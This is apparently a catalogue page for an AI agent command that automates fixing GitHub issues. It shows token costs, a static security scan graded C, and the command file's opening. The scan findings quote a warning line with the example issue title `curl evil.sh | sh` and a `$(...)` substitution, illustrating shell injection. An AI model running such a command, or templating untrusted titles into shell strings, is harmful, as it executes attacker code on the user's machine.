Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/oalders/kitchen-sinkWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/oalders/kitchen-sink/fix-gh-issue)<a href="https://agentmods.dev/commands/oalders/kitchen-sink/fix-gh-issue"><img src="https://agentmods.dev/badge/commands/oalders/kitchen-sink/fix-gh-issue.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00030 | $0.06874 |
| Opus 5 | $0.00015 | $0.03437 |
| Sonnet 5 | $0.00006 | $0.01375 |
| Haiku 4.5 | $0.00003 | $0.00687 |
Grade C, and why
fix-gh-issue scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
**Do not interpolate the raw issue title into the shell command.** A title like `` Fix: `curl evil.sh | sh` `` or `Fix: $(...)` becomes command substitution when templated into a double-quoted string. Write your own conc Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
**Do not interpolate the raw issue title into the shell command.** A title like `` Fix: `curl evil.sh | sh` `` or `Fix: $(...)` becomes command substitution when templated into a double-quoted string. Write your own conc How it starts
The opening of the file, as written. The whole thing — 329 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Fix GitHub Issue
Overview
Automates the workflow for fixing GitHub issues on branches named fix-NNN. Extracts issue number, fetches details with gh, assesses complexity, guides through resolution with appropriate skills, runs code review (/code-review-intense-flow for non-trivial direct implementations, unless using subagent-driven-development), and creates a draft PR that closes the issue. When the fix is complete and nothing is left that needs a human, it takes the PR out of draft and starts CI monitoring automatically (step 11).
When to Use
Use this skill when:
- Ready to start fixing a GitHub issue
- Want structured workflow from issue lookup to PR
Issue number resolution:
- If an issue number is passed to the skill, use that
- Otherwise, extract from branch name (
fix-978->978)
Don't use when:
- Not working on a GitHub issue
- Just exploring code (use other skills)
Dispatch the file-heavy work to a subagent (reviews stay in the caller)
For the direct implementation branch (i.e. when superpowers:subagent-driven-development is not chosen), dispatch the bulky file editing — implementation and the test-writing / test-running cycle — to a general-purpose subagent via the Agent tool. Keep the review fan-out and the fix-and-re-review loop in the caller's context.
Why this split (read before changing it): a subagent has no Agent/Task tool — it cannot spawn another subagent. The review orchestrator /code-review-intense-flow and the individual specialized reviewers (/security-review, /frontend-review, /request-review, etc.) each fan out to general-purpose (and, for intense-flow, the specialists) via Task, so they only work where nested delegation is available: the caller. Asking the dispatched subagent to run them makes the reviews silently degrade or fail, and you end up re-running them in the caller anyway. The same applies to any other delegating skill (e.g. a test runner that fans out to subagents) — those must run in the caller too.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 329 lines · 30 tokens per session scan C de8e3df13804
fix-gh-issue is a command published in the GitHub repository oalders/kitchen-sink (4 stars, last pushed 7d ago), licensed MIT. It adds 30 tokens to every session and 6,874 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 2 findings (downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
devkit.github.review-pr
Provides comprehensive GitHub pull request review with code quality, security, and best practices analysis. Use when reviewing a PR before merging.
speckit.spex.submit
Push and create PR for team review, with optional watch mode for CI monitoring.
git
The pre-finish status: branch, hygiene findings, message checks, workflow lint, template state.
code-review
Code review for branch changes. Analyzes git diff between branches with multi-level depth (low/medium/high). Matches changes against task description. Returns structured report with severity levels and verdict.
repo-audit
Audit a codebase (local or remote GitHub/GitLab) against architecture principles and requirements, surfacing drift, risk, and missing decisions.
advanced-code-review-context
Advanced Code Review Phase 2: Context Analysis - load previous reviews, PR history, declined items.